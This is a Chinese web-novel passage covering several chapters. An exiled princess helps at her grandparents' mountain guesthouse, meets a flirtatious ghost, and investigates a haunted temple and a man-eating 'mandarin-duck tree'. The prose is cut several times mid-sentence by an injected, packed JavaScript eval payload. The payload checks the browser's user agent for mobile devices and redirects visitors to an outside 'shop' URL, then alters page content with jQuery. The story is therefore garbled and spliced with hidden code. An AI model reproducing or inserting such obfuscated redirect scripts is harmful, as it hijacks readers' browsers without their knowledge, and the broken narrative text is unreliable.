看起来顶喜庆的女孩靠在院里桃树之下的竹躺椅边,每每翻一页身边的太白君就凑到书前瞄一眼,随后再贴近殿下粉嫩的脸蛋,舒适着打着呼,不过也没真眯着,半阖目,一双眼直勾勾盯着赵潞低垂的眼睫。 听到外面的动静,赵潞合上《天姬传》下意识起身迎接,从爷爷奶奶手上接过了比人还高的大袋批发纸巾。 这些天卢瑛和赵声陆陆续续从山下买回了许多八角茴香之类的调料,再准备全乎了客人们住宿时的必用品,这会用着赵潞做的桃露洗着手,院子里满是花的清香。 前天她取艾叶,曝干后研作细末,托爷爷奶奶买了皂荚,去其坚壳,起起落落捣成清浆,再在院子里撷了桃花,阴干存香。然后三物相和,用绢袋装好投于温水,用洗净的手捏榨干净,重复几遭,这照鹿台特色的天然洗露便横空出世。 赵潞作为天选古人,虽说素来金枝玉叶,但偏偏对什么事儿都有着三分钟热度,平时看到点新奇没见过的东西也惯于看个两眼,兴致上来了钻磨几刻,所以研制古法皂角简直信手拈来。 当然,这对于那些对她报之以厚望的人来说,就是典型不学无术的娇娇殿下作派。 可卢瑛不这么看。 她捧着乖女做的洗露,凑到鼻尖闻了闻,眉眼就弯了起来:“哟,潞潞做的这个还真香。”说着便往手上搓,一边搓一边念叨,“你看这灰,一洗就干净了,手上还不干巴,润润的,比外头买的都好使。” 她擦干了手,又看着赵潞把一堆纸巾往库房里搬,眼里那笑意,都快溢出来了。 其实只要潞潞平平安安,就算是个痴傻小儿,又何妨? 看到卢瑛亮晶晶的双眼,赵潞微微凝噎。 毕竟这几日吃住都在照鹿台,连手上的这本书就是卢瑛买的,她贵为赵国天姬,自小学习君子之道,这会哪能作忘恩负义之小人。 况且——这比人高的袋子也不重,还没有她托起的一颗苹果重呢,异世之物还真是稀奇,能把庞大的物件做的轻如鸿毛。 只是那狸奴还真是跟得紧,就连她起了兴致干点活都寸步不离。 春华祭的前一天,照鹿台就悄没声儿地开门了。 初三这会儿,大多数游客才刚到小昭山,正对着一溜儿的农家乐发懵,不知该进哪家。 赵声和卢瑛的意思是,之前那些怪事儿,说出去也不光彩,所以没有大张旗鼓地吆喝重新开业。只是安安静静地把大门敞开,把那块“营业中”的木牌挂上,然后老两口就守在院子里,烹着茶,温着酒,等着有缘人造访。 但殿下可不是守株待兔的主儿。 已经明了之前是人祸,不大肆宣扬造个瓮,怎么捉鳖呢? 小昭山脚,赵潞穿着卢瑛新做的红袄,一头乌发高高盘成丸子头,上面缠着火红的丝带,丝带尾梢垂下来,拖在女孩修长雪白的脖颈后头,风一吹,便轻轻晃动。 “照鹿台上住一宿,和您爱人到白首!” 女孩说一句,肩上那小猫就跟着喵一声。一唱一和的光景,很快引得过路的游客好奇起来,忍不住围上来打听。 “姑娘,你们这照鹿台,住一晚多少钱?” 赵潞报了价,一抬眼,正好瞧见旁边刚过来准备拉开横幅的官静莲。 她心里还记着前几天那些碎嘴的话,当下眉毛一挑,语气里带着几分得意:“哟,今天换口脂了?看着是没那么吓人了。” 这话一出,官静莲立马扯着大嗓门“呵”了一声。她似乎有些畏光,这会儿日头正盛,光晕打在赵潞脸上,白得晃眼。官静莲眯着眼,缓了好一会儿才看清说话的人。 她冷哼一声:“哟,赵家小妹,疯病好了?可小心点儿,别把客人吓跑了。” 人群里有人听了这话,忍不住上上下下打量起赵潞来。 桃颊粉面,身姿挺拔。 和“疯”字半点儿沾不上边。 有人率先开了口:“小妹,我们住!照鹿台是吧?怎么走啊?” 赵潞白了官静莲一眼,懒得再搭理她。转头端起笑,拍了拍肩上太白君的背:“就由这狸奴带几位客官过去。到了地方,自有人招呼。本——我还得在山脚招呼些晚来之客。” 太白君听罢,方才还乖巧亲昵挨着人脸的模样,倏地一变,盯着赵潞好一会,那眼神活灵活现地将委屈震惊之感表达了个全。 半晌,通体雪白的猫咪才从女孩肩上慢吞吞跳下来。也不搭理身后的客人,昂着脑袋,不紧不慢地在前头领着路。 那背影,怎么看都像憋着一口气。 “山中无甲子,照鹿即蓬莱——” 初四入夜,烈焰腾空。小昭山上上下下的琉璃灯,霎时被漫天烟火映得流光溢彩。 照鹿台五间客房,初三那晚托赵潞的高人出世早已住满。这会儿山间灯会正热闹,客人们都出了民宿,避开浮世沉浮,和身边的人赶一场难得一见自在逍遥。 院子里倒清净下来。 “哈——” 赵潞打了个长长的哈欠,认命地蹲在那儿,跟一筐桃花瓣较劲。 昨日客人喜欢那桃露,问能不能买些回家用。她仗着心里那点得意劲儿,一口就应了下来。这会子客人去逛灯会了,她却只能在这儿任劳任怨。 早知如此... 罢了,从前哪有人认可自己的东西? 也没想到在异世倒增了这么多知心体己的人。 “潞啊,下去玩会儿吧。” 赵声披着袄子从屋里出来,在楼梯口转了一圈,“这几天桃露我们也会做了,屋里囤了不少。你成天跟着我们两个老家伙享清闲做什么?年轻人就该热热闹闹地去。” 他顿了顿,“咦,太白君呢?” 赵潞擦净手,揉了揉眼睛。院子里被琉璃灯照得亮亮堂堂,每一个角落都看得清清楚楚。 那粘人的狸奴,确实不见了。 “许是跟着客人下山了。”她说,“爷别担心,那猫认路,饿了就自己回来。今天我守门吧,您回屋睡觉。” 楼上传来动静。卢瑛放下手上刚完工的针织活,探出头来:“乖女,上来试试,看合不合身?” 新衣服? 自小就尚衣冠修颜色的赵潞眼睛一亮,两步并作一步往三楼跑。 卢瑛手里捧着一件朱红菱纹绵袍,身旁还挂着一袭裘袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406876|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,灯下看去,皮毛光润,针脚细密。 打眼便知价值不菲。 赵潞愣在了门口。 这乡野之地……还有这等好东西? 她那点藏不住的震惊,倒把卢瑛逗笑了。 老太太把衣服拿起来,在她身上虚虚比了比: “奶奶年轻时候的身形啊,跟潞潞差不多。春华祭那天,满街都是穿古服的年轻人,热热闹闹的。这些衣裳首饰,都是奶奶当年的嫁妆。” 她顿了顿,眼里带了些感慨。 “去年这个时候,奶奶就想给你打扮了。可紧赶慢赶的,衣服上那些脱线的地方,总也腾不出手来缝。这回照鹿台歇了业,可算让奶奶得了空。” 赵潞愣在那儿,一时没动。 卢瑛当她默许了,便笑着关上门,着手给她梳妆打扮。 衣裳一件件穿好,头发刚拆散,梳子还没落下去,原本安安静静任她摆弄的女孩,忽然站起身来。 声音还微微有些发哑:“这样便好。您先歇着,我去看看灯会。” 不等卢瑛回过神,赵潞已经推门出去,脚步飞快地掠过赵声,一路横冲直撞,离开了照鹿台,跑进一处灯火照不到的山背。 她扶着一棵桃树,弯着腰,大口大口地喘气。 全然陌生的滋味。 这种感觉一刻都没有发生在养尊处优的殿下身上。 往日里替自己更衣的婢女从来只是默声守礼,绝不会像卢瑛一样一边念叨着家常一边用带着暖意的掌心丈量她的身躯。 她感觉心里有一股悦动,似乎要跳出来了,要将眼眶中的湿润也一并带出。 “怎么不梳头?” 忽闻树上有人轻笑,那声音不高不低,懒懒的。 赵潞循声望去,被人发现狼狈的滋味很快冲淡了她初识关爱的无措,殿下下意识挺直了背,扬起下巴,张嘴就是那股子气死人不偿命的劲儿:“和你有关系吗?庶民,少攀话。” 树上的人没恼,反倒是落在她身上的视线愈发深沉温和,像是终于等到了什么。 借一瞬烟火照亮,赵潞看到了细碎的月光透过桃枝,落在男人身上,明明暗暗的,愈发凸显他穿着的银色锦衣光亮夺目,可这一切都不及他的那张脸。 眉眼恰似春水初生,朦胧之中极为勾人,而余下的一分一毫,倒像是精心雕琢出来的。两样搁在一处,偏偏又浑然天成。 那人斜斜靠在树干上,也不知在那儿待了多久,看了多久。 不过有着鬼打墙的经验,赵潞只稍作欣赏便认定此等绝色定是山间勾人心魄的妖精,随后便咬破手指,虚空画作雷符。 ““应烛长明,诸暗不近。” 狐精还是劳什子梳头妖,她都不在意。 总归她有神君护体。 半晌,树上人和桃下人两两依旧相望。 男人笑得更甚了。 “小殿下,请来。” 还没等赵潞反应过来,身下陡然一空,再睁开眼,她便和这人一道坐在了树枝上。她背过男人,扶着树干尖叫:“你这是请吗!” 身后传来男人带着歉意的笑声。 “失礼了。只是见殿下青丝飘零,若袖手旁观,心下实在难安。待在下为殿下挽好青丝。” “——届时打也好,罚也罢,任凭殿下处置,在下绝无半句怨言。” 5. 五(一) 那男人不知从哪儿摸出一把木梳,将她的青丝一缕一缕给理顺,微凉的手指有意无意地擦过她的后颈。 那触感,既不同于侍从侍奉时的无感无觉,也不同于被奶奶轻抚时的融融暖意。 偏偏是这么一下,激得赵潞后颈的绒毛根根竖立,一股说不清的酸麻从脊背上下蔓延开来,恼人得很。 “别梳了,快把本殿放下去!” 赵潞看不到身后,只听到叮铃桄榔的一阵,头顶就增了些重量,随后就感觉到男人在她耳边轻轻呼出一口气。 “就快了,殿下还请耐心。” 随着男人这般靠近,一股清冽到近乎无味的香气,顺着微风将殿下从头到脚笼罩了个遍。 “放肆!” 她面红耳赤,猛地扭过头去,愤然瞪向那人。 恰在这一瞬,一簇烟火于天幕轰然炸开,光芒坠落,将男人眼底那抹笑意照得明明白白。 登徒子! 堂堂天姬,竟然被宵小孟浪之辈给如此轻视! 赵潞几乎在瞬间就起手朝着那笑得浪荡的脸打去,她全然没收着力,很快随着清脆一声,小巧而又清晰的红掌印便落在了男人脸上。 可他笑意分毫不减。 “殿下把我的话听进去了,我好开心。” ——届时打也好,罚也罢,任凭殿下处置,在下绝无半句怨言。 这人,还真是言出必行,不说虚的啊。 赵潞顺着身体的惯性,另一只巴掌早就举了起来。可这第二下—— 还打不打呢? 要是惹恼了眼前这个疯子,现下黑灯瞎火,荒郊野外,人烟罕至,对于他来说岂不是天时地利人和? 男人见赵潞高悬不下的小手,更是贴近,笑得如沐春风:“殿下,受累了。” ...... 等等。 面前男人愈发面目可憎,然而赵潞反倒被他的所作所为弄得冷静下来了。 她忽然意识到一件事—— 他似乎从一开始就... “登徒子,你怎么会叫我殿下?” 男人笑意渐渐收敛,取而代之的是双眸的深不见底。 “我怎么会忘记。” 他的声音极小,偏偏此刻无风,也无声,短短六字分毫不差地落尽了赵潞的耳中。 山脚的喧闹漫不过重重林野,赵潞只能听到自己的呼吸声和震耳欲聋的心跳声。 半晌,许是受不了赵潞定定审视的目光,男人低眸自嘲一笑,随后端出了一本正经的模样,将朝着赵潞前倾的身子收回,抱着手臂开了些二人之间的距离:“赵潞,字满吉,年十八,本是赵国公主,眨眼之间,来到了这小昭山。是也不是?” 被戳中真实身份,赵潞神色一僵,点点头。 “我是此间的一只孤魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406877|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野鬼,仗着游离于三界,可晓因果,本在天地间飘摇零落,聊聊终日。” 男人上挑的眼尾薄红,长睫垂落,遮住一眶将落未落的光。 赵潞脑子里一根筋轻轻一跳。 “你无聊就去投胎啊,少装可怜。” 突然她似乎想到了什么,哑了声,半晌:“......刚刚念的护身诀没伤到你吧?” 男人默了许久,肩膀一颤一颤,很快声音低了下去,听起来颇为虚弱,又像是在回忆。 “噗...殿下,无妨,你是千百年来第一个看到我的人,投胎一事并非在下不愿,而是无能为力。” 他抬起眼,望住她,唇边那点笑意还没散,却透出几分说不清的哀愁。 “在下三魂七魄唯余二魂三魄,余下的魂魄散落在小昭山角角落落,往生之门只有全须全尾的鬼才能进入,天地之间,在下无处可归。” 这话倒是有道理,赵潞皱着眉,眼底的疑虑消去三分:“那为何我可以打你?人可以碰到鬼吗?” 听闻赵潞的疑问,男人明白殿下的戒备之心已散去些许,便将身子往前送了几些。 “殿下。” 他将二字压在舌尖,碾得暧昧万分。 “你来处无人知,我归处无可去。” 咫尺之间,男人笑得含蓄,却几近妖孽。 “天地间,再无和你我一样的人了。” 6. 五(二) 言语缱绻至极,而出此言者,心满意足地领到了第二个巴掌。 “把我放下去,登徒鬼。” 这鬼简直没个正形,赵潞两条眉毛拧在一起,心里暗骂道恐怕此人生前是个采花大盗,欠了一屁股风流债被姑娘们联合报复,这才死后不得安宁,损了魂魄。 “殿下,唤我应长明。” 挨了一巴掌的人非但不退,反倒欺身更近。右手轻轻拢住她的腰肢,双眼直勾勾地望过来,额头几乎要贴上赵潞的。 他的声音压得低低的,却一字一字清清楚楚: “在下虽只是孤魂野鬼,在这小昭山,也算半个地头蛇。若遇事——” 他顿了顿,唇角那点笑意又浮起来,却比方才更深了些:“不妨唤我姓名。若能帮到殿下,是在下之幸。” 赵潞被极为温柔地放在地上,轻得连她的一根青丝都未被风扰乱。 那个名叫应长明的鬼,在她的视线里渐渐散去,如纱入夜,如雾进水,最后只有不知从何处传来的声音空灵地回响在赵潞耳边: “发髻已然梳好,殿下......尽情离去。” 赵潞瞧不见人,只能反手往头顶摸去。 是灵蛇髻,与这一身红袍倒是相配。珠钗不多不少,只一支金玉翠钗坠着流苏——增一分则过艳,减一分则显得乏味。 她抿了抿唇,把那句几乎要脱口而出的“还挺好看”咽了回去。 “这个登徒鬼......还算有眼光。” 小昭山的前山,路途平坦,走几步便是一座古色古香的楼台。有饭馆,有客栈,余下的便是些牌馆茶馆之类的营生。此间的灯具也颇有巧思——制灯之术源远流长,从灯型到灯色,件件都让初来乍到的异乡客挪不开眼。 赵潞从后山绕出来,正纳闷着春华祭这日子,怎么又是孔明灯又是流火的,走近了一瞧,才发现那盏雕着嫦娥抱兔的灯,压根儿不是用来放的,它底下是被一根打磨得光润的银杆高高撑着的。 这是盏琉璃灯。 赵潞放眼望去,这些琉璃灯高矮错落、排布精巧,远远一看,竟真像是满天的孔明灯。 这些灯高的能超出楼台许多,矮的只与小童齐肩。精心排布之下,整座小昭山都沉浸在一片通明的暧色里。赵潞走得小心,生怕奶奶的嫁妆沾到一丁点泥点子。 “小露,你老家真是漂亮啊。” 不远处,一个与赵潞年纪相仿的女孩被四五人簇拥着。她也穿着一身红裙,只是那款式瞧着比赵潞身上这件时新些,领口收得精巧,袖边滚着细窄的绣纹,竟和当下大火的古偶剧里女主角的装扮一模一样。她外头还披了件狐裘,毛茸茸的白拥着一张水灵灵的脸。 “还好啦,春华祭这段时间是热闹些。” 听着大学好友的夸奖,丘露笑得腼腆。往前一望,瞧见前头围了一圈人,像是要表演火把,她忙快步往前走,回头招呼道:“杂耍快开始了,这个可好——呀!” 话没说完,便撞上了一个人,好在同行的人眼疾手快,一把扶住了她。 可被她撞着的那位姑娘就没这么好运了,踉踉跄跄往后连退了好几步。 倒了霉的赵潞被踩到脚,吃痛地倒吸一口凉气,这几天虽也知晓这个世界没什么尊卑等级,但也难改她的殿下脾性,更何况眼下情形完全被她规划到了可以得理不饶人的境地:“走路不看路,是要找阎王爷报道吗?” 丘露在大家眼里一直都是性情温吞的女孩,她的朋友们又都是仗义直言的性子,虽说撞了人是她理亏,可这关头,自然是偏向自己人的。 赵潞话里夹枪带棒,丘露身边的寸头男孩周序听得火气直往上蹿,上前一步就怼了回去:“得理不饶人是吧?嘴这么欠?” 他正要好好说道说道这个牙尖嘴利的姑娘,正正对上了赵潞整理好衣服,抬起头来的脸。 那双眼睛,黑白分明。 眼珠被火圈映着,竟像一对灼灼的黄金瞳。眼尾平拉至太阳穴,大开大合,一双眼像一把价值千金的羽毛扇似得扇了几下,把周序心里刚蹿起来的火,扑灭了大半。 “看什么看?小心你的眼睛!” 赵潞横了他一眼。 周序身后的人见她还变本加厉,立刻迎上来要开口,却被丘露一把拽住。 “算了,别吵了。我们走吧。” 她像是一点脾气都没有似得,连赵潞的脸都不曾看一眼,慌忙转身,指着不远处一间茶楼:“那家的酥油饼可好吃了,我带你们去尝尝。” 赵潞眯了眯眼。 这人也太怂了吧?倒像是做了什么亏心事似的。 春华祭虽热闹,可赵潞是什么人?强国富民的长公主,什么场面没见过。草草逛了一圈,便觉得索然无味。只是随着人群漫无目的地走,竟走到了这春华祭最热闹的地方。 这里是一处山崖,崖下灯火通明,人头攒动。赵潞眼尖地瞧见了这山崖的背面似乎就是后海了,抱山背海,倒是个好地方。 山崖正中央,两棵参天巨树合抱而生,桃瓣簌簌落下,纷扬如雨。桃枝上密密麻麻结满了红绳,每一根红绳都是一对有缘人亲手系上的。 “鹿君在上,愿我和他长长久久,永不分离。” “求鹿君保佑,我与他此生不相负……” 身边来来往往的,尽是成双成对的男女。祈愿声此起彼伏,软语温言,听得人心里发腻。赵潞侧身借过,径直走向鸳鸯树前那盏灯火长明的鹿君庙。 庙从外头看,倒是不小。一脚踏进去,才觉出几分局促,这儿地方不大,香火倒是旺,烟气缭绕得人眼睛发涩。正中那尊鹿君像,被一块红布蒙住了脸。 她瞥了眼周围人的反应,一个个神色如常,似乎这蒙脸本就该如此。 可她自己,却踏进门槛的那一瞬,便觉出不对—— 一股刺骨的寒凉,隔着层层衣衫,直直扎进心口,像有什么东西正盯着她看。 不详的预感涌上来,赵潞转身要走。 才迈出一步,便被一个慈眉善目的老者拦下。 “姑娘,来都来了,不拜拜鹿君再走?” 赵潞眉头一皱,多管闲事。 “进来了就得拜神,哪门子的规矩?我只拜战神。” 这倒不是搪塞。 赵国上下,战神庙修得最多。 赵国本是从困苦之地揭竿而起的流民,靠着万千热血堆出来的江山。立国百余年,战火就没断过,到她兄长赵靖这一代,才算享了几十年太平。 面前的老者听后只是微微一笑,也不恼:“姑娘,既然来了,便是有缘之人。这炷香给你,不妨在鹿君面前供上。参拜与否,皆随本心,有诚即可。” 赵潞听他这么说,心想此处人多,不好拂了老人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林真蓝关心则乱,心里又憋着几分对这地方的怨气,语气便不由得硬了起来:“你们叫人去山里找找!今天我老公不回来,我是不会回房间的!” 院子里的动静很快吵醒了其他客人。有人披衣出来询问,眼神里带着几分理解,也有人躲在门后嘀咕,抱怨大半夜不得安生。连一向睡得沉的卢瑛,也被吵醒了,披着袄子下楼来看是怎么回事。 一听见年迈的爷爷奶奶为了稳住林真蓝,竟答应黑灯瞎火地进山去找个四肢健全的大男人,赵潞心里那股火噌地就上来了。 也不知哪来的本事,平日里等着伺候的殿下愣是在一分钟之内把冬衣穿得齐齐整整,蹬蹬蹬冲下楼,语气硬邦邦地砸过去。 “我去找,爷奶你们回屋休息。” 她顿了顿,转头看向林真蓝,声音缓了缓,却还是带着几分生硬: “林女士,你也回房吧。晚上冷,别着凉。” 丑时,鸳鸯树前。 赵潞已经找遍了后山的角角落落,除了那条通往海边的小路。那路黑漆漆的,连盏灯都没有,正常人压根不会往那边走。 从山前到山崖背海这一路,也是空无一人。 找着找着,她竟又走到了这座鹿君庙前。 夜里看这庙,比白日更添几分邪性。 7. 六 鹿君庙大门紧闭,从外向里看去可以看到里面似乎灯火通明,两条从屋顶落下的红绸随着半夜的风飘来飘去,活像两个索命的长舌鬼。 “喵——” 赵潞耳尖,听见了这一声猫叫,这才想起方才林真蓝在照鹿台的院子里大闹时,似乎也没瞧见太白君的影子。 自从养了这狸奴,爷爷便在院子里给它支了个窝。可那玩意儿哪肯睡外头?每晚都要溜进她屋里,寻个离她近点儿的角落窝着才肯消停。 今夜事多,她竟没留意那猫还没回来。 没想到,它倒是在这儿。 虽然殿下向来身正不怕影子斜,可此刻月黑风高又空无一人,眼前又是那座给她留了心理阴影的庙宇,她嘴上不承认,心里到底是有些发怵的。 这一声猫叫,来得正是时候。 像一只手,轻轻按住了那点不安。 “喂,你说那个李响,会在这里面吗?” 赵潞蹲下身来,将太白君抱在怀里,这还是她第一次主动抱这狸奴,温热柔软的小小猫身很快驱散了最后一点竖立在殿下背后的凉意。 “不管了,本殿下...” 随着一声像是视死如归的口号,赵潞眯着一只眼,用脚踢开了鹿君庙的大门。 借着摇晃的烛火,她发现蒙着鹿君头的红布不知何时消失了,鹿君正低垂着头,神色悲悯地定定看着她。 太白君用舌头轻轻舔了舔赵潞的手,她才敢硬着头皮仔仔细细打量着尊和她长得一模一样的神像。 鹿君像是由琉璃与贝母混合而成的,通体莹润温和。 除了这头......赵潞上前一步垫脚抚摸,神像头部的材料和身体截然不同。 似乎是由木头制作而成,然后拼接上去的。 鹿君庙本就不大,赵潞左右环顾一圈,便知李响压根不在这儿。林真蓝那边还不知道消停下来没有,眼下又瞧见这神像,她是一刻也不想多待。 谁知刚转身,庙里的火光映出去照在了外面那棵双树合抱的鸳鸯树上,让她得以窥见这树的全貌。 树身上,竟密密麻麻布满了眼睛。 一只只,一动不动,直直地盯着她。 那些象征长久的红绳,此刻也变成了一条又一条的白布,在夜风里轻轻晃着。 “喵!” 怀里一向听话的太白君忽然惨叫一声,低头在她小臂上轻轻咬了一口。赵潞吃痛松手,那猫便一溜烟窜了出去,眨眼间便消失在漆黑的夜里。 “没良心的东西!”她捂着胳膊,又气又慌,“好吃好喝供着你,倒养出个白眼狼了......” 一碰到危险,跑得比谁都快。 赵潞浑身鸡皮疙瘩都起来了,可这潞天姬越是怕,越不肯露怯。她强撑着镇定,想去关上庙门,把那密密麻麻的眼珠子隔绝在外。 才刚起身走了两步,身后忽然传来一个苍老的声音。 “姑娘,又是你啊。” 赵潞被这突如其来的问候给吓得倒吸一口凉气,僵在原地,她缓缓转过身去,正对上一双浑浊的眼睛。 是先前那个给她递香的老者。 也是个特别诡异的玩意儿。 这么想着,赵潞咬着牙勉强道:“是本殿下问你才对吧,怎么又是你啊。” 明明方才庙内只有一人一猫。 老者听闻哈哈大笑。 可他越笑,脸上的皮便一寸一寸地往下掉,而他骨头却还稳稳地撑在那里,纹丝不动,那皮肉像被烧化的陶土,软塌塌地往下坠,越拉越长。 下巴的那一块,几乎要拖到地上。 他一步一步朝赵潞走来,而赵潞则步步后退,很快她就被逼到了门边。 往后一步,是那棵长满眼珠的鬼树。 往前一步,是这掉皮掉肉的老妖怪。 赵潞心一横,眼一闭,咬破手指画雷符:“应烛长明,诸暗不近!” 可是面前的掉皮老妖怪笑声更大了,一声一声砸过来,听得赵潞心一寸一寸往下凉。她欲哭无泪: 这战神,怎么就头一次喊有用啊! “你叫吧,还能叫谁来帮你呢?” 老妖怪天不怕地不怕似的,嘴里念念叨叨。方才好几米的距离,他转瞬便贴了上来,这会儿面对面,反倒慢了下来,像是在逗她:“再叫,还能叫谁?” 还能叫谁... 她还能叫谁? 电光石火间,那登徒子的脸浮上眼前。赵潞顾不得什么矜傲,大声喊了出来:“应长明!应长明!救我!” 此刻要不是老妖怪挡在面前,殿下恨不得连滚带爬哭天喊地求着人来救她。 可是战神在此间都无作为,她真的能相信一个孤魂野鬼吗? 然而,然而。 她的面前真的传来一道声音,不疾不徐,像是等了她很久。 “殿下。” 赵潞一愣,还没反应过来,那声音又响了起来,带着几分笑意,几分餍足:“你真的唤我了。我就知道,你不会忘记我的。” 是应长明。 那恼人的掉皮怪的笑声,竟在她喊出名字的那一刻,真的戛然而止。 赵潞方才怕得眼眶都湿了,这会儿听见他的声音,更是红了眼睛,声音里带着自己都没察觉的委屈:“那掉皮的丑东西呢?” 应长明看着面前殿下的模样,心里咯噔一下,忙不迭在心里给了自己一巴掌。 演过头了。 把殿下吓坏了。 然而,虽然心上是悔恨着,面上他的腰杆挺得笔直,依旧一派凛然。 “——被我打跑了。殿下放心,那丑东西,再也不会出现在你面前了。” 那模样,那语气,倒好像那丑东西不是他自己变出来似的。 赵潞松了一口气,蔫儿吧唧的往门外一指:“那树是怎么一回事儿?” 应长明不顺着看也知道赵潞说的是什么,他叹息道。 “远看婆娑不分,近探各显姿容。” 这鸳鸯树,本是一株桃树一株青檀。两棵树同生在一道岩石裂缝里,缝隙狭小,根部只能紧紧缠在一起,相伴而生。小昭山的人,便管它们叫鸳鸯树。 应长明温言道来,像是在说一件很久远的事。 两树还是幼苗时便相依相存。那时还没有鹿君庙,这里是户人家的院子。四四方方的水泥墙,拘着两树的生长。待到亭亭玉立之年,那青檀伸出了墙头,枝叶与墙外的红杏勾连在了一处。 墙外天地广阔,青檀得了好处,越长越快,扎根越深,吸走的养分也越来越多。 青檀愈发壮大,而桃树却渐渐萎靡。 “像是负心汉的故事。” 有应长明在身旁,赵潞安心了许多,索性在庙宇的门槛上坐了下来。应长明也随着她坐下,挨得不远不近。 “确是负心汉。” 听见她的评价,应长明幽幽转过头来,目光落在了她脸上。 赵潞迎上他的目光,理直气壮地发问:“可如今这桃树和青檀,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406879|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧同根同源,长得一样好?还有那树干上的眼珠子呢,又是怎么回事?” “因为怨,殿下。” 他声音低下去,像从很远的地方飘过来。 千年万年,世事浮沉。院墙拆了又建,建了又拆,兜兜转转,不知哪一朝,竟把靠着青檀的那一面围了起来。 三十年河东,三十年河西,这回轮到桃树享那天高海阔了。 桃怨青檀薄情,青檀怨桃树背弃。 桃与青檀,各自生怨。 恰逢机缘,便吃尽天下负心人。 “殿下看到的那些眼珠子。” 应长明抬了抬下巴,朝门外那棵密密麻麻的树指了指:“都是有眼无珠之人。” 听到这话,赵潞惊异地看向那颗鸳鸯树。 “所以这消失的李响莫非被——” 应长明微笑颔首。 “八九不离十。” 要找的人是个负心汉,还被妖怪吃了,那她还找什么? 赵潞反而一身轻,起身拍了拍屁股:“我啊,回去睡大觉了,他啊,自己找造化去吧。” “且慢。” 应长明似乎没料到赵潞会是这般反应,脸上错愕了一瞬,不过很快,那点错愕便被游刃有余的笑意盖了过去。 “人是来照鹿台失踪的,殿下,万一那林真蓝闹大了,不就做实了照鹿台怪事频发的说法么?届时——” 试图逃离失败。 赵潞气急败坏。 “本殿下真是造孽!” 恨恨地跺完一脚,她才眯眼盯着应长明:“你怎么知道照鹿台,你怎么什么都知道?” 应长明眉眼间天生带着几分多情,此刻却只看着赵潞一个人。 “殿下,因为和你有关。” 他顿了顿,声音低下去,像是只说给她一个人听。 “和你有关的事,我就都知道。” 那声音太小了,小到赵潞压根没听清:“什么?” 可面前男人没有回答她,只是摇了摇头,换了个说辞:“我是此间孤魂野鬼,这里发生的一切我都知道。” 赵潞勉强信了这个理由。只是如何救李响,倒是个难题。 她愁眉不展地想着,应长明倒好,先不紧不慢地欣赏了一会儿,大约是看够了,才不忍地开口:“殿下,桃与青檀乃是天地生灵,即便有怨,也难以生出如此可怖的局面。这一切,都是托了这位的机缘。” 他手掌朝上,缓缓转向鹿君庙。 “什么机缘?” 赵潞和他一道走进去,目光落在那尊被雕刻得栩栩如生的鹿君脸上。 应长明走在她身侧,长发垂至腰际,步履从容,一丝不乱。烛火映在他脸上,俊美得雌雄莫辨,要不是他还在说话,赵潞几乎要以为眼前这人是个精心雕琢的人偶了。 “鹿君有怨。若不解,妖怪便会继续害人。而在下的一魂一魄,便因鹿君的怨,囚禁于此。” 他顿了顿,侧过头来看她。 “殿下,只有你能解。” 赵潞还没反应过来,应长明已翻身跃上供神台。动作利落,毫不拖泥带水,明明是这般粗俗的举动,落在他身上,竟也让人觉得赏心悦目。 可下一秒,她便慌了。 应长明竟将那鹿君的脸取了下来,轻轻覆在了她的脸上! 一瞬间,天旋地转。 意识消散,她没有听见那人带着几分安抚的温柔哄声:“殿下,去闻一闻千年前我为你而择的桃枝吧。” 8. 七 天是灰蒙蒙的白,地是死沉沉的褐。 日头悬在头顶,白晃晃的,远山被热浪蒸得扭曲变形,像是要化了似的。 呼啸的风裹着黄沙在地上旋转,一具具裸露的骸骨正艰难地在一片黄土蹒跚行步。 赵潞披着一袭黑纱,全身上下只露出了双瞪着烦闷的眼睛。 应长明那登徒鬼竟然玩阴的,这般利用叫她来到了这鬼地方,定是为了给他找那一魂一魄。 还有脸搭个高台把她架上去,说只有她能解决? 真是好笑,她赵潞能解决什么事。 赵潞不知去哪里,只能眼睛一闭,脑子里那些不堪回首的记忆历历在目,什么应试之际突发高烧,登台之时木桩断裂,鱼赛构脱,弹琴弦断...... 她能做什么事? 老天爷就好像专门跟她对着干一样。 